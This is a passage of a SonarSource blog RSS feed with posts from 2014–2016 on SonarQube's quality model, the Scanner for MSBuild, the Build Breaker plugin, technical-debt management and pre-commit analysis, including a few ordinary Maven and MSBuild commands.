line steps that respectively download settings from, and upload analysis results to your SonarQube server. And in between these steps, your MsBuild step doesn’t need to be changed at all. In addition to the SonarLint Connected Mode, we achieved our main goal of showing the exact same issues inside the IDE as you’d see on the SonarQube server. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From a technology perspective, both of these integration pieces are highly dependent on the new .NET compiler platform, Roslyn. Additionally, we’ve put a great deal of effort into implementing rules based on Roslyn. From SonarLint for Visual Studio version 1.0, which was released on July 20, 2015 with 76 rules, we’ve increased our C# offerings to 173 rules. Our C# rule engine, the SonarAnalyzer for C#, is the underlying rule engine in both SonarLint for Visual Studio and the C# plugin. So no matter where you’re running the analysis, you benefit from the new rules. Many of the rules might have already been familiar to you, because we prioritized the implementation of ReSharper-like rules. We went through all the C# warning rules that are enabled by default in ReSharper and in the end we found that more than 80% of them are now covered by the SonarAnalyzer for C#.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We even went a step further, and made the SonarQube Roslyn SDK to provide a way to integrate your Roslyn-based rules into the analysis process both inside the IDE and with the Scanner for MSBuild. However, we can’t provide the same consistent user experience with ReSharper because it’s not based on Roslyn. ReSharper analysis in the build process isn’t MSBuild-based; it requires a dedicated command line tool. And inside Visual Studio, ReSharper is a completely separate analysis tool, so there’s no way to make the Connected Mode support ReSharper settings. As a result, we decided to deprecate the ReSharper plugin and move it to the community maintained extensions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To sum up, in order to best focus our efforts on valuable features and provide you with the best user experience, we decided to drop support for the ReSharper plugin. “Less is More” is our frequently repeated mantra at SonarSource. With this step, you’ll have fewer tools to worry about, and a more consistent experience across our products. Additionally, you’ll benefit from our quick release cycles, and get updates every months or so. Recently, we’ve focused our efforts on advanced bug detection rules. Did you know that our brand new symbolic execution engine found a NullReferenceException &lt;a href=&quot;https://github.com/dotnet/roslyn/pull/12070&quot;&gt;bug in Roslyn&lt;/a&gt;?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Bugs and Vulnerabilities are 1st Class Citizens in SonarQube Quality Model along with Code Smells]]></title><description><![CDATA[In SonarQube 5.5 we adopted an evolved quality model, the SonarQube Quality Model, that takes the best from SQALE and adds what was missing. In doing so, we've highlighted project risks while retaining technical debt.]]></description><link>https://www.sonarsource.com/blog/bugs-and-vulnerabilities-are-1st-class-citizens-in-sonarqube-quality-model-along-with-code-smells</link><guid isPermaLink="false">56c3d71c-6c2c-5b6e-b930-e12ab1cb1a14</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Thu, 02 Jun 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In SonarQube 5.5 we adopted an evolved quality model, the SonarQube Quality Model, that takes the best from SQALE and adds what was missing. In doing so, we&amp;#x27;ve highlighted project risks while retaining &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;Why? Well, SQALE is good as far as it goes, but it&amp;#x27;s primarily about maintainability, with no concept of risk. For instance, if a new, blocker security issue cropped up in your application tomorrow, under a strict adherence to the SQALE methodology you&amp;#x27;d have to ignore it until you fixed all the Testability, Reliability, Changeability, &amp;amp;etc issues. When in reality, &lt;em&gt;new&lt;/em&gt; issues (i.e. &lt;a href=&quot;http://www.sonarqube.org/water-leak-changes-the-game-for-technical-debt-management/&quot;&gt;leak period&lt;/a&gt; issues) of any type are more important than time-tested ones, and new bugs and security vulnerabilities are the most important of all.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Further, SQALE is primarily about maintainability, but the SQALE quality model also encompasses bugs and vulnerabilities. So those important issues get lost in the crowd. The result is that a project can have blocker-level bugs, but still get an A SQALE rating. For us, that was kinda like seeing a green light at the intersection while cross-traffic is still flowing. Yes, it&amp;#x27;s recoverable if you&amp;#x27;re paying attention, but still dangerous.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So for the SonarQube Quality Model, we took a step back to re-evaluate what&amp;#x27;s important. For us it was these things:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;The quality model should be dead simple to use&lt;/li&gt;&lt;li&gt;Bugs and security vulnerabilities shouldn&amp;#x27;t be lost in the crowd of maintainability issues&lt;/li&gt;&lt;li&gt;The presence of serious bugs or vulnerabilities in a project should raise a red flag&lt;/li&gt;&lt;li&gt;Maintainability issues are still important and shouldn&amp;#x27;t be ignored&lt;/li&gt;&lt;li&gt;The calculation of remediation cost (the use of the SQALE analysis model) is still important and should still be done&lt;/li&gt;&lt;/ol&gt;&lt;p&gt; &lt;br/&gt;To meet those criteria, we started by pulling Reliability and Security issues (bugs and vulnerabilities) out into their own categories. They&amp;#x27;ll never be lost in the crowd again. Then we consolidated what was left into Maintainability issues, a.k.a. code smells. Now there are three simple categories, and prioritization is easy.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We gave bugs and vulnerabilities their own risk-based ratings, so the presence of a serious Security or Reliability issue in a project will raise that red flag we wanted. Then we renamed the SQALE rating to the Maintainability rating. It&amp;#x27;s calculated based on the SQALE analysis model (technical debt) the same way it always was, except that it no longer includes the remediation time for bugs and vulnerabilities:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b1a4ba28-19b0-43c6-a9bc-bb2095fb6ef0/body-9b6e315f948ec89cb42476f7cba1301d68aea58c_selection_999084.png&quot; /&gt;&lt;p&gt;To go help enforce the new quality model, we updated the default Quality Gate:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;0 New Bugs&lt;/li&gt;&lt;li&gt;0 New Vulnerabilities&lt;/li&gt;&lt;li&gt;New Code Maintainability rating = A&lt;/li&gt;&lt;li&gt;Coverage on New Code &amp;gt;= 80%&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The end result is an understandable, actionable quality model you can master out of the box; quality model 2.0, if you will. Because managing code quality should be fun and simple.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why You Shouldn't Use Build Breaker]]></title><description><![CDATA[There have been some heated discussions recently about the Build Breaker plugin... SonarSource doesn't want to continue the feature. The community has come to see it as a must have... So I'd like to explain why at SonarSource we no longer think it should be used.]]></description><link>https://www.sonarsource.com/blog/why-you-shouldnt-use-build-breaker</link><guid isPermaLink="false">5ef4619d-ccba-520a-a526-a43c4e33e232</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Thu, 25 Feb 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Editor&amp;#x27;s Note: This post now contains outdated information. You might be interested in &lt;a href=&quot;https://blog.sonarsource.com/breaking-the-sonarqube-analysis-with-jenkins-pipelines/&quot;&gt;Breaking the SonarQube Analysis with Jenkins Pipelines&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There have been some heated discussions recently about the Build Breaker plugin... SonarSource doesn&amp;#x27;t want to continue the feature. The community has come to see it as a must have... So I&amp;#x27;d like to explain why at SonarSource we no longer think it should be used.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A long time ago, the team wanted to be able to send notifications about Quality Gate (QG) failures. This was before the SonarQube platform could send emails, so we decided to take advantage of the notifications in the Continuous Integration system used to trigger the analysis. Simple: we just need to fail the build! This feature is what became the Build Breaker plugin, and it seemed perfect: You decide that your project should have a measure greater than X, and if the analysis reports the measure is under X then the QG is broken. The Build Breaker sees the break and returns a failing status for the build. The CI engines picks that up, declares the job failed and send notifications. Great stuff!&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Well, not quite.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We started to use this internally, and liked it at first. But then we began to see certain problems with it. The main one is the fact that a job can be red for different reasons: it could be because there is a problem with the build (environment, configuration...) or it could be a failing Quality Gate the development team needed to fix. That meant the responsibility for failing jobs was split, and we couldn&amp;#x27;t know who &amp;quot;owned&amp;quot; a failing job without looking at the logs. After a while, when a job failed, no one jumped on it because &amp;quot;it&amp;#x27;s probably the other guy&amp;#x27;s fault.&amp;quot;.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is why we started to use a different approach, and report red Quality Gates on wallboards the developers can see from their desks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d353db68-c4f4-4a3f-9cd0-134c20b6da79/body-2f1650da6810c3965b967ff31f6cbc9872451d2f_selection_9992561-650x368.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once we started using wallboards we stopped using the Build Breaker plugin, but still believed that using it was an okay practice. And then came SonarQube 5.2, which cuts the connection between the analyzer and the database. Lots of good things came with that cut, including a major change in architecture: analysis of source code is done on the analyzer side and all aggregate number computation is now done on the server side. Which means… that the analyzer doesn&amp;#x27;t know about the Quality Gate anymore. Only the server does, and since analysis reports are processed serially, first come first served, it can take a while before the Quality Gate result for a job is available.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In other words, from our perspective, the Build Breaker feature doesn&amp;#x27;t make sense anymore.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Surely it is &lt;em&gt;possible&lt;/em&gt; to continue to have it, and we have provided web services to query the server. But breaking the build for a quality gate failure doesn&amp;#x27;t fit the new architecture:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;once the analysis report is submitted, you need to query the server&lt;/li&gt;&lt;li&gt;then poll again every X minutes until the job is completed&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It means your CI job is now trying to transform an asynchronous process into a synchronous one. It doesn&amp;#x27;t sound good, does it? There are already enough reasons for a job to fail without adding one more. And don&amp;#x27;t forget what when the job does fail, there are multiple possible causes. Finally, if your SonarQube server is under a heavy load or processing a very large analysis report, and takes a while to process the one your CI job just submitted, it might mean you start building a huge list of running (polling) jobs in your CI engine. I don&amp;#x27;t know about other engines, but I don&amp;#x27;t believe Jenkins would survive 500 jobs running at the same time, even if they&amp;#x27;re doing nothing.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So what are the alternatives? I mentioned one already, which is to use a wallboard (we use Atlassian Atlasboard) to display failing quality gates. But I think this can be extended to any notification system: you have the ability to query SonarQube to get the quality gate status and report / notify. This can even be done from Jenkins, as a standard job as long as it doesn&amp;#x27;t keep a build running. And don&amp;#x27;t forget that the SonarQube server has added its own notification system in the meantime, and now offers direct notifications for failing Quality Gates.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This was our attempt, here at SonarSource, to clarify why we do not think you should use the Build Breaker. But you should also know that there is now a community version of it.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Analysis of Visual Studio Solutions with the SonarQube Scanner for MSBuild]]></title><description><![CDATA[At the end of April 2015 during the Build Conference, Microsoft and SonarSource Announced SonarQube integration with MSBuild and Team Build. Today, half a year later, we’re releasing the SonarQube Scanner for MSBuild 1.0.2. But what exactly is the SonarQube Scanner for MSBuild? Let’s find out!]]></description><link>https://www.sonarsource.com/blog/easy-analysis-of-visual-studio-solutions-with-the-sonarqube-scanner-for-msbuild</link><guid isPermaLink="false">27bf8ce8-f8c1-58ca-a24c-c94382b9595f</guid><dc:creator><![CDATA[Sonar]]></dc:creator><pubDate>Thu, 19 Nov 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At the end of April 2015 during the Build Conference, Microsoft and SonarSource &lt;a href=&quot;https://devblogs.microsoft.com/devops/technical-debt-management-announcing-sonarqube-integration-with-msbuild-and-team-build/&quot;&gt;Announced SonarQube integration with MSBuild and Team Build&lt;/a&gt;. Today, half a year later, we’re releasing the SonarQube Scanner for MSBuild 1.0.2. But what exactly is the SonarQube Scanner for MSBuild? Let’s find out!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The SonarQube Scanner for MSBuild is the tool of choice to perform SonarQube analysis of any Visual Studio solution and MSBuild project. From the command line, a project is analyzed in 3 simple steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;MSBuild.SonarQube.Runner.exe begin /key:&lt;em&gt;project_key&lt;/em&gt; /name:&lt;em&gt;project_name&lt;/em&gt; /version:&lt;em&gt;project_version&lt;/em&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;msbuild /t:rebuild&lt;br/&gt;&lt;/li&gt;&lt;li&gt;MSBuild.SonarQube.Runner.exe end&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The “&lt;em&gt;begin&lt;/em&gt;” invocation sets up the SonarQube analysis. Mandatory analysis settings such as the SonarQube project key, name and version must be passed in, as well as any optional settings, such as paths to code coverage reports. During this phase, the scanner fetches the quality profile and settings to be used from the SonarQube server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then, you build your project as you would typically do. As the build happens, the SonarQube Scanner for MSBuild gathers the exact set of projects and source files being compiled and analyzes them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, during the “&lt;em&gt;end&lt;/em&gt;” invocation, remaining analysis data such as Git or TFVC one is gathered, and the overall results are sent to the SonarQube server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Using the SonarQube Scanner for MSBuild from Team Foundation Server and Visual Studio Online is even easier: there is no need to install the scanner on build agents, and native build steps corresponding to the “&lt;em&gt;begin&lt;/em&gt;” and “&lt;em&gt;end&lt;/em&gt;” invocations are available out-of-the-box (see the complete &lt;a href=&quot;http://redirect.sonarsource.com/doc/sq-setup-guide-for-dotnet-users.html&quot;&gt;Microsoft ALM Rangers documentation&lt;/a&gt; for details).&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9228c4c8-9dd8-4823-acba-2678fe9d9d12/body-568d248feb93e21d5cc11567b3a0243bee1d74a1_tfs-2015-sonarqube-scanner-for-msbuild-tasks.png&quot; /&gt;&lt;p&gt;A similar experience is offered for Jenkins users as well since the &lt;a href=&quot;http://redirect.sonarsource.com/plugins/jenkins.html&quot;&gt;Jenkins SonarQube plugin version 2.3&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Compared to analyzing Visual Studio solutions with the sonar-runner and the &lt;a href=&quot;http://docs.sonarqube.org/display/PLUG/Analysis+Bootstrapper+for+Visual+Studio+Projects+Plugin&quot;&gt;Visual Studio Bootstrapper plugin&lt;/a&gt;, this new SonarQube Scanner for MSBuild offers many advantages:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Having a Visual Studio solution (*.sln) file is no longer a requirement, and customized *.csproj files are now supported! The analysis data is now extracted from MSBuild itself, instead of being retrieved by manually parsing *.sln and *.csproj files. If MSBuild understands it, the SonarQube Scanner for MSBuild will understand it!&lt;br/&gt;&lt;/li&gt;&lt;li&gt;For .NET, analyzers can now run as part of the build with Roslyn, which not only speeds up the analysis but also yields better results; instead of analyzing files one by one in isolation, the MSBuild integration enables analyzers to understand the file dependencies. This translates into fewer false positives and more real issues.&lt;br/&gt;&lt;/li&gt;&lt;li&gt;Enabling FxCop is now as simple as enabling its rules in the quality profile. There is no longer any need to manually set properties such as “&lt;em&gt;sonar.visualstudio.outputPaths&lt;/em&gt;” or “&lt;em&gt;sonar.cs.fxcop.assembly&lt;/em&gt;” for every project: All the settings are now deduced by MSBuild.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a consequence, we are deprecating the use of sonar-runner and the Visual Studio Bootstrapper plugin to analyze Visual Studio solutions, and advise all users to migrate to the SonarQube Scanner for MSBuild instead. Before you begin your migration, here are a few things you need to be aware of:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The analysis must be executed from a Windows machine, with the .NET Framework version 4.5.2+ installed, and the project must be built using MSBuild 12 or 14. Note that the project you analyze can itself target older versions of the .NET Framework, but the SonarQube Scanner for MSBuild itself requires at least version 4.5.2 to run.&lt;br/&gt;&lt;/li&gt;&lt;li&gt;Obviously, you now need to be able to build the project you want to analyze!&lt;br/&gt;&lt;/li&gt;&lt;li&gt;Most old analysis properties (such as &amp;quot;&lt;em&gt;sonar.cs.fxcop.assembly&lt;/em&gt;&amp;quot;, “&lt;em&gt;sonar.dotnet.version&lt;/em&gt;”) are no longer used and should be removed. The only useful ones are unit test result and code coverage reports paths.&lt;br/&gt;&lt;/li&gt;&lt;li&gt;The “&lt;em&gt;sonar-project.properties&lt;/em&gt;” file is no longer used and should be deleted.&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Try it out for yourself and get started&lt;/strong&gt;! &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/scanners/sonarscanner-for-dotnet/&quot;&gt;Download the SonarQube Scanner for MSBuild, install it, and start to analyze your projects!&lt;/a&gt; If you are new to SonarQube, the &lt;a href=&quot;http://redirect.sonarsource.com/doc/sq-setup-guide-for-dotnet-users.html&quot;&gt;end-to-end guide produced by the Microsoft ALM Rangers&lt;/a&gt; will take you through every step.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Water Leak Changes the Game for Technical Debt Management]]></title><description><![CDATA[A few months ago, at the end of a customer presentation about “The Code Quality Paradigm Change”, I was approached by an attendee who said, “I have been following SonarQube & SonarSource for the last 4-5 years and I am wondering how I could have missed the stuff you just presented. Where do you publish this kind of information?”. I told him that it was all on our blog and wiki and that I would send him the links. Well...]]></description><link>https://www.sonarsource.com/blog/water-leak-changes-the-game-for-technical-debt-management</link><guid isPermaLink="false">d24d0b49-7e56-511a-b1b6-19eb3673b0bc</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Fri, 03 Jul 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A few months ago, at the end of a customer presentation about “The Code Quality Paradigm Change”, I was approached by an attendee who said, “I have been following SonarQube &amp;amp; SonarSource for the last 4-5 years and I am wondering how I could have missed the stuff you just presented. Where do you publish this kind of information?”. I told him that it was all on our blog and wiki and that I would send him the links. Well...&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;When I checked a few days later, I realized that actually there wasn&amp;#x27;t much available, only bits and pieces such as the 2011 announcement of &lt;a href=&quot;http://www.sonarqube.org/sonar-2-5-in-screenshots/&quot;&gt;SonarQube 2.5&lt;/a&gt;, the 2013 discussion of &lt;a href=&quot;http://www.sonarqube.org/using-differentials-to-move-the-team-in-the-right-direction/&quot;&gt;how to use the differential dashboard&lt;/a&gt;, the 2013 &lt;a href=&quot;http://dist.sonarsource.com/SonarSource_Continuous_Inspection_White_Paper.pdf&quot;&gt;whitepaper on Continuous Inspection&lt;/a&gt;, and last year&amp;#x27;s announcement of &lt;a href=&quot;http://www.sonarqube.org/sonarqube-4-3-in-screenshots/&quot;&gt;SonarQube 4.3&lt;/a&gt;. Well (again)... for a concept that is at the center of the SonarQube 4.x series, that we have presented to every customer and at every conference in the last 3 years, and that we use on a daily basis to support our development at SonarSource, those few mentions aren&amp;#x27;t much.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;Let me elaborate on this and explain how you can sustainably manage your &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt;, with no pain, no added complexity, no endless battles, and pretty much no cost. Does it sound appealing? Let&amp;#x27;s go!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;First, why do we need a new paradigm? We need a new paradigm to manage code quality/technical debt because the traditional approach is too painful, and has generally failed for many years now. What I call a traditional approach is an approach where code quality is periodically reviewed by a QA team or similar, typically just before release, that results in findings the developers should act on before releasing. This approach might work in the short term, especially with strong management backing, but it consistently fails in the mid to long run, because:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The code review comes too late in the process, and no stakeholder is keen to get the problems fixed; everyone wants the new version to ship&lt;/li&gt;&lt;li&gt;Developers typically push back because an external team makes recommendations on their code, not knowing the context of the project. And by the way the code is obsolete already&lt;/li&gt;&lt;li&gt;There is a clear lack of ownership for code quality with this approach. Who owns quality? No one!&lt;/li&gt;&lt;li&gt;What gets reviewed is the entire application before it goes to production and it is obviously not possible to apply the same criteria to all applications. A negotiation will happen for each project, which will drain all credibility from the process&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;All of this makes it pretty much impossible to enforce a Quality Gate, i.e. a list of criteria for a go/no-go decision to ship an application to production.&lt;/p&gt;&lt;p&gt;For someone trying to improve quality with such an approach, it translates into something like: the total amount of our technical debt is depressing, can we have a budget to fix it? After asking “why is it wrong in the first place?”, the business &lt;em&gt;might&lt;/em&gt; say yes. But then there&amp;#x27;s another problem: how to fix technical debt without injecting functional regressions? This is really no fun…&lt;/p&gt;&lt;p&gt;At SonarSource, we think several parameters in this equation &lt;strong&gt;must&lt;/strong&gt; be changed:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;First and most importantly, the developers should own quality and be ultimately responsible for it&lt;/li&gt;&lt;li&gt;The feedback loop should be much shorter and developers should be notified of quality defects as soon as they are injected&lt;/li&gt;&lt;li&gt;The Quality Gate should be unified for &lt;strong&gt;all&lt;/strong&gt; applications&lt;/li&gt;&lt;li&gt;The cost of implementing such an approach should be insignificant, and should not require the validation of someone outside the team&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Even changing those parameters, code review is still required, but I believe it can and should be more fun! How do we achieve this?&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4629f4a4-b752-4b2b-af20-6ac7f8b1ac9d/body-32deec7be4ec5bd3d7929e65497a52ce11bc1d10_selection_764.png&quot; /&gt;&lt;p&gt;When you have water leak at home, what do you do first? Plug the leak, or mop the floor? The answer is very simple and intuitive: you plug the leak. Why? Because you know that any other action will be useless and that it is only a matter of time before the same amount of water will be back on the floor. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So why do we tend to behave differently with code quality? When we analyze an application with SonarQube and find out that it has a lot of technical debt, generally the first thing we want to do is start mopping/remediating - either that or put together a remediation plan. Why is it that we don&amp;#x27;t apply the simple logic we use at home to the way we manage our code quality? I don&amp;#x27;t know why, but I do know that the remediation-first approach is terribly wrong and leads to all the challenges enumerated above.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Fixing the leak means putting the focus on the “new” code, i.e. the code that was added or changed since the last release. Things then get much easier: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;The Quality Gate can be run every day, and passing it is achievable. &lt;/li&gt;&lt;li&gt;There is no surprise at release timeIt is pretty difficult for a developer to push back on problems he introduced the previous day. And by the way, I think he will generally be very happy for the chance to fix the problems while the code is still fresh&lt;/li&gt;&lt;li&gt;There is a clear ownership of code quality&lt;/li&gt;&lt;li&gt;The criteria for go/no-go are consistent across applications, and are shared among teams. Indeed new code is new code, regardless of which application it is done in&lt;/li&gt;&lt;li&gt;The cost is insignificant because it is part of the development process&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a bonus, the code that gets changed the most has the highest maintainability, and the code that does not get changed has the lowest, which makes a lot of sense.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I am sure you are wondering: and then what? Then nothing! Because of the nature of software and the fact that we keep making changes to it (Sonarsource customers generally claim that 20% of their code base gets changed each year), the debt will naturally be reduced. And where it isn&amp;#x27;t is where it does not need to be.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Unit Test Execution in SonarQube]]></title><description><![CDATA[Starting with Java Ecosystem version 2.2 (compatible with SonarQube version 4.2+), we no longer drive the execution of unit tests during Maven analysis. Dropping this feature seemed like such a natural step to us that we were a little surprised when people asked us why we'd taken it.]]></description><link>https://www.sonarsource.com/blog/unit-test-execution-in-sonarqube</link><guid isPermaLink="false">9a602fc2-4857-5a61-878f-4233b3f5609b</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Wed, 06 Aug 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Starting with Java Ecosystem version 2.2 (compatible with SonarQube version 4.2+), we no longer drive the execution of unit tests during Maven analysis. Dropping this feature seemed like such a natural step to us that we were a little surprised when people asked us why we&amp;#x27;d taken it.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;Contrary to popular belief we didn&amp;#x27;t drop test execution simply to mess with people. :-) Actually, we&amp;#x27;ve been on this path for a while now. We had previously dropped test execution during PHP and .NET analyses, so this Java-only, Maven-only execution was the last holdout. But that&amp;#x27;s trivial as a reason. Actually, it&amp;#x27;s something we never should have done in the first place.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the early days of SonarQube, there was a focus on Maven for analysis, and an attempt to add all the bells and whistles. From a functional point of view, the execution of tests is something that never belonged to the analysis step; we just did it because we could. But really, it&amp;#x27;s the development team&amp;#x27;s responsibility to provide test execution reports. Because of the potential for conflicts among testing tools, the dev team are the only ones who truly know how to correctly execute a project&amp;#x27;s test suite. And in the words of SonarSource co-founder and CEO, Olivier Gaudin, &amp;quot;it was pretentious of us to think that we&amp;#x27;d be able to master this in all cases.&amp;quot;&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And master it, we did not. So there we were, left supporting a misguided, gratuitous feature that we weren&amp;#x27;t sure we had full test coverage on. There are so many different, complex surefire configuration cases to cover that we just couldn&amp;#x27;t be sure we&amp;#x27;d implemented tests for all of them.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Plus, This automated test execution during Java/Maven analysis had an ugly technical underbelly. It was the last thing standing in the way of removing some crufty, thorn-in-the-side, old code that we really needed to get rid of in order to be able to move forward efficiently. It had to go.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We realize that switching from test execution during analysis to test execution before analysis is a change, but it shouldn&amp;#x27;t be an onerous one. You simply go from&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mvn clean install
mvn sonar:sonar&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;to&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mvn clean org.jacoco:jacoco-maven-plugin:prepare-agent install -Dmaven.test.failure.ignore=true
mvn sonar:sonar&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Your analysis will show the same results as before, and we&amp;#x27;re left with a cleaner code base that&amp;#x27;s easier to evolve.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Three options for pre-commit analysis]]></title><description><![CDATA[As a quality-first focus becomes increasingly important in modern software development, more and more developers are asking how to find new issues before they check their code in. 

For some of you, it's a point of pride. For others, it's a question of keeping management off your back, and for still others it's simply a matter of not embarrassing yourself publicly. Fortunately, the SonarQube developers (being developers themselves) understand the problem and have come up with three different ways of dealing with it: the Eclipse plugin, the IntelliJ plugin, and the Issues Report plugin.]]></description><link>https://www.sonarsource.com/blog/three-options-for-pre-commit-analysis</link><guid isPermaLink="false">e4ebf822-039a-5ba9-b003-0f6335b12e54</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Thu, 20 Feb 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Editor&amp;#x27;s Note: This post now contains outdated information. You might be interested in &lt;a href=&quot;https://www.sonarlint.org/&quot;&gt;SonarLint, an IDE extension that helps you detect and fix quality issues as you write code&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;As a quality-first focus becomes increasingly important in modern software development, more and more developers are asking how to find new issues &lt;em&gt;before&lt;/em&gt; they check their code in. &lt;br/&gt;&lt;br/&gt;For some of you, it&amp;#x27;s a point of pride. For others, it&amp;#x27;s a question of keeping management off your back, and for still others it&amp;#x27;s simply a matter of not embarrassing yourself publicly. Fortunately, the SonarQube developers (being developers themselves) understand the problem and have come up with three different ways of dealing with it: the &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/SonarQube+in+Eclipse&quot;&gt;Eclipse plugin&lt;/a&gt;, the &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/SonarQube+in+IntelliJ&quot;&gt;IntelliJ plugin&lt;/a&gt;, and the &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Issues+Report+Plugin&quot;&gt;Issues Report plugin&lt;/a&gt;.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All three allow you to perform a pre-commit check on your code, and the two IDE plugins use &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Analyzing+Source+Code#AnalyzingSourceCode-IncrementalMode&quot;&gt;incremental mode&lt;/a&gt;, 